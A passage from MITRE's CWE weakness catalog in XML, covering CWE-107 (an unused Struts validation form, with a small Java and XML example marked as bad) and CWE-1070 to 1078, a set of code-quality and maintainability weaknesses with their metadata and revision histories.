               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Drew Buttner</Contribution_Name>
               <Contribution_Date>2022-08-15</Contribution_Date>
               <Contribution_Comment>Suggested new demonstrative examples, mitigations, and applicable platforms.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="107" Name="Struts: Unused Validation Form" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>An unused validation form indicates that validation logic is not up-to-date.</Description>
         <Extended_Description>It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1164" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Remove the unused Validation Form from the validation.xml file.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// private variables for registration form</xhtml:i>
                           <xhtml:br/>private String name;<xhtml:br/>private String address;<xhtml:br/>private String city;<xhtml:br/>private String state;<xhtml:br/>private String zipcode;<xhtml:br/>
                           <xhtml:i>// no longer using the phone form field</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// private String phone;</xhtml:i>
                           <xhtml:br/>private String email;<xhtml:br/>
                           <xhtml:br/>public RegistrationForm() {<xhtml:div style="margin-left:1em;">super();</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// getter and setter methods for private variables</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;form-validation&gt;<xhtml:div style="margin-left:1em;">
                        <xhtml:div>&lt;formset&gt;<xhtml:div style="margin-left:1em;">
                              <xhtml:div>&lt;form name="RegistrationForm"&gt;<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>&lt;field property="name" depends="required"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.name"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="address" depends="required"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.address"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="city" depends="required"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.city"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="state" depends="required,mask"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.state"/&gt;<xhtml:br/>&lt;var&gt;<xhtml:div style="margin-left:1em;">&lt;var-name&gt;mask&lt;/var-name&gt;<xhtml:br/>&lt;var-value&gt;[a-zA-Z]{2}&lt;/var-value&gt;</xhtml:div>&lt;/var&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="zipcode" depends="required,mask"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.zipcode"/&gt;<xhtml:br/>&lt;var&gt;<xhtml:div style="margin-left:1em;">&lt;var-name&gt;mask&lt;/var-name&gt;<xhtml:br/>&lt;var-value&gt;\d{5}&lt;/var-value&gt;</xhtml:div>&lt;/var&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="phone" depends="required,mask"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.phone"/&gt;<xhtml:br/>&lt;var&gt;<xhtml:div style="margin-left:1em;">&lt;var-name&gt;mask&lt;/var-name&gt;<xhtml:br/>&lt;var-value&gt;^([0-9]{3})(-)([0-9]{4}|[0-9]{4})$&lt;/var-value&gt;</xhtml:div>&lt;/var&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="email" depends="required,email"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.email"/&gt;</xhtml:div>&lt;/field&gt;</xhtml:div>
                                 </xhtml:div>&lt;/form&gt;</xhtml:div>
                           </xhtml:div>&lt;/formset&gt;</xhtml:div>
                     </xhtml:div>&lt;/form-validation&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>However, the validator XML file, validator.xml, for the RegistrationForm class includes the validation form for the user input form field "phone" that is no longer used by the input form and the RegistrationForm class. Any validation forms that are no longer required should be removed from the validator XML file, validator.xml.</Body_Text>
               <Body_Text>The existence of unused forms may be an indication to attackers that this code is out of date or poorly maintained.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Struts: Unused Validation Form</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1070" Name="Serializable Data Element Containing non-Serializable Item Elements" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains a serializable, storable data element such as a field or member,
					but the data element contains member elements that are not
					serializable.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p>
 	 <xhtml:p>As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-3</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-3"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1071" Name="Empty Code Block" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The source code contains a block that does not contain any code, i.e., the block is empty.</Description>
         <Extended_Description><xhtml:p>Empty code blocks can occur in the bodies of conditionals, function or method definitions, exception handlers, etc.  While an empty code block might be intentional, it might also indicate incomplete implementation, accidental code deletion, unexpected macro expansion, etc.  For some programming languages and constructs, an empty block might be allowed by the syntax, but the lack of any behavior within the block might violate a convention or API in such a way that it is an error.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1164" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-02</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1072" Name="Data Resource Access without Use of Connection Pooling" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product accesses a data resource through a database without using a
					connection pooling capability.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly, as connection pools allow connections to be reused without the overhead and time consumption of opening and closing a new connection.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-13</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-13"/>
            <Reference External_Reference_ID="REF-974"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1073" Name="Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p>
	 <xhtml:p>While the interpretation of "large number of data accesses/queries" may vary for each product or developer, CISQ recommends a default maximum of 2 data accesses per function/method.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-10</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-10"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1074" Name="Class with Excessively Deep Inheritance" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A class has an inheritance level that is too high, i.e., it
					has a large number of parent classes.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p>
	 <xhtml:p>While the interpretation of "large number of parent classes" may vary for each product or developer, CISQ recommends a default maximum of 7 parent classes.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1093" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-17</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-17"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1075" Name="Unconditional Control Flow Transfer outside of Switch Block" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product performs unconditional control transfer (such as a
					"goto") in code outside of a branching structure such as a switch
					block.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-1</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-1"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1076" Name="Insufficient Adherence to Expected Conventions" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product's architecture, source code, design, documentation,
					or other artifact does not follow required conventions.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1077" Name="Floating Point Comparison with Incorrect Operator" Abstraction="Variant" Structure="Simple" Status="Incomplete">
        <Description>The code performs a comparison such as an
        equality test between two float (floating point) values, but
        it uses comparison operators that do not account for the
        possibility of loss of precision.</Description>
        <Extended_Description>
	   <xhtml:p>Numeric calculation using floating point values
	   can generate imprecise results because of rounding errors.
	   As a result, two different calculations might generate
	   numbers that are mathematically equal, but have slightly
	   different bit representations that do not translate to the
	   same mathematically-equal values.  As a result, an equality
	   test or other comparison might produce unexpected
	   results.</xhtml:p>
	   <xhtml:p>This issue can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="697" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-9</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-9"/>
            <Reference External_Reference_ID="REF-975"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1078" Name="Inappropriate Source Code Style or Formatting" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The source code does not follow
				desired style or formatting for indentation, white
				space, comments, etc.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1076" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
